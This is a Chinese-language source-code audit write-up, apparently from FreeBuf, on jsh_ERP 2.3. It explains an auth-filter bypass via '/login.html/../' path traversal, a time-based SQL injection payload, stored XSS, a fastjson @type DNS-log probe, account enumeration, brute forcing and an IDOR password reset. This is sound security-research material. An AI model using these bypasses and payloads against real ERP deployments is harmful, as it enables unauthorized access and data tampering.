XYBTY
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
项目运行环境
ERP版本:jsh_ERP2.3
MYSQL:mysql-5.7.4-m14-winx64(采用压缩包的方式安装,需要在my.ini配置文件中修改编码方式)
JDK:jdk-8u161-windows-x64
MAVEN:apache-maven-3.2.3-bin
由于使用idea运行项目一直报错,所以使用maven打包的方式运行,打开cmd窗口进入项目文件夹下输入mvn clean install,打包过后会在dist文件夹下生成一个压缩包文件,解压过后运行start.bat文件就可以启动项目。
用Fortify扫描一下源码。
授权绕过漏洞
首先看一下filter里面的具体逻辑。
@WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"},
initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"),
@WebInitParam(name = "filterPath",
value = "/user/login#/user/registerUser#/v2/api-docs")})
public class LogCostFilter implements Filter {
private static final String FILTER_PATH = "filterPath";
private static final String IGNORED_PATH = "ignoredUrl";
private static final List<String> ignoredList = new ArrayList<>();
private String[] allowUrls;
private String[] ignoredUrls;
#返回由/user/login /user/registerUser /v2/api-docs组成的字符串数组
@Override
public void init(FilterConfig filterConfig) throws ServletException {
String filterPath = filterConfig.getInitParameter(FILTER_PATH);
if (!StringUtils.isEmpty(filterPath)) {
allowUrls = filterPath.contains("#") ? filterPath.split("#") : new String[]{filterPath};
}
#返回一个由.css .js .jpg .png .gif .ico组成的列表
String ignoredPath = filterConfig.getInitParameter(IGNORED_PATH);
if (!StringUtils.isEmpty(ignoredPath)) {
ignoredUrls = ignoredPath.contains("#") ? ignoredPath.split("#") : new String[]{ignoredPath};
for (String ignoredUrl : ignoredUrls) {
ignoredList.add(ignoredUrl);}}
}
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String requestUrl = servletRequest.getRequestURI();
#从session中获取user字段,如果不为空,则代表已登陆,调用doFilter
Object userInfo = servletRequest.getSession().getAttribute("user");
if(userInfo!=null) { //如果已登录,不阻止
chain.doFilter(request, response);
return;
}
#如果url中是包含doc.html、register.html、login.html不拦截
if (requestUrl != null && (requestUrl.contains("/doc.html") ||
requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) {
chain.doFilter(request, response);
return;}
#通过正则表达式判断css 、js 等是否存在url中,如果存在则不拦截。
if (verify(ignoredList, requestUrl)) {
chain.doFilter(servletRequest, response);
return;
}
allowUrls是/user/login 、/user/registerUser、/v2/api-docs,判断url是否以这些开头,如果是则不拦截
if (null != allowUrls && allowUrls.length > 0) {
for (String url : allowUrls) {
if (requestUrl.startsWith(url)) {
chain.doFilter(request, response);
return;
}}}
如果这四个条件都不满足,则重定向到login.html。
servletResponse.sendRedirect("/login.html");}
private static String regexPrefix = "^.*";
private static String regexSuffix = ".*$";
private static boolean verify(List<String> ignoredList, String url) {
for (String regex : ignoredList) {
Pattern pattern = Pattern.compile(regexPrefix + regex + regexSuffix);
Matcher matcher = pattern.matcher(url);
if (matcher.matches()) {
return true;
}}
return false;
}
@Override
public void destroy() {
}}
由以上分析可知某些url是不会拦截的,可以通过目录穿越符来绕过登录认证,如/user/login/../../
filter并没有对传入的参数进行处理,随便抓取两个接口在接口前面加上/login.html/../就可以绕过,.css/.png/.jpg/.ico同理。
SQL注入
该项目使用的是Mybits的数据库,直接在*.xml文件中全局搜索 ${
回溯到UserMapperEx.java。
继续回溯到UserService.java。
继续回溯可以看到UserComponent.java中userName的值是从search中获取的。
在select方法中调用了getUserList方法。
最终回溯到Controller层。
可以看到search从request中获取并且直接放入parameterMap中,然后利用select(apiName, parameterMap)函数进行查询,没有对传入的参数进行任何处理,存在SQL注入,找到该接口抓包。
Payload:{"userName":"","loginName":"' AND SLEEP(5)--"}
需要进过URL编码,后台出现了该SQL语句。
存储型XSS
Filter 没有针对 XSS 进行过滤,所以该很多地方存在XSS漏洞,用jsh账号修改用户资料。
Admin账号触发XSS。
同理客户信息菜单也存在XSS漏洞。
fastjson反序列化
查看pom.xml文件发现fastjson版本1.2.55,该版本存在漏洞,利用DNSlog进行验证。
fastjson涉及反序列化的方法有两种,JSON.parseObject()和JSON.parse(),在代码中直接搜索parseObject。
随机选取一个。
对该方法进行回溯,随机选取一个判断传进去的参数是否可控。
通过上面的SQL注入分析已经知道getUserList方法中的search是直接从前端传进来的,参数可控。
直接构造Payload:{"@type":"java.net.Inet4Address","val":"2czklw.dnslog.cn"}
然后在进行URL编码。
Dnslog平台已经有相应的记录。
账号枚举
当用户不存在时提示用户名不存在,可以以此来枚举用户的账号。
成功爆破出用户名。
暴力破解
找到登录接口的代码发现登录接口的代码没有做任何防暴力破解的安全措施,根据上面的账号枚举枚举出来的账号直接进行密码爆破,抓包发现密码经过MD5加密的。
利用burpsuite进行爆破。
成功爆破出密码。
越权重置密码
找到重置密码的接口。
查看resetPwd方法具体逻辑。
从代码中可以发现resetPwd方法直接通过getUser(id)根据id从数据库中获取相关用户信息,没有校验id和当前用户的关系,存在越权漏洞。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)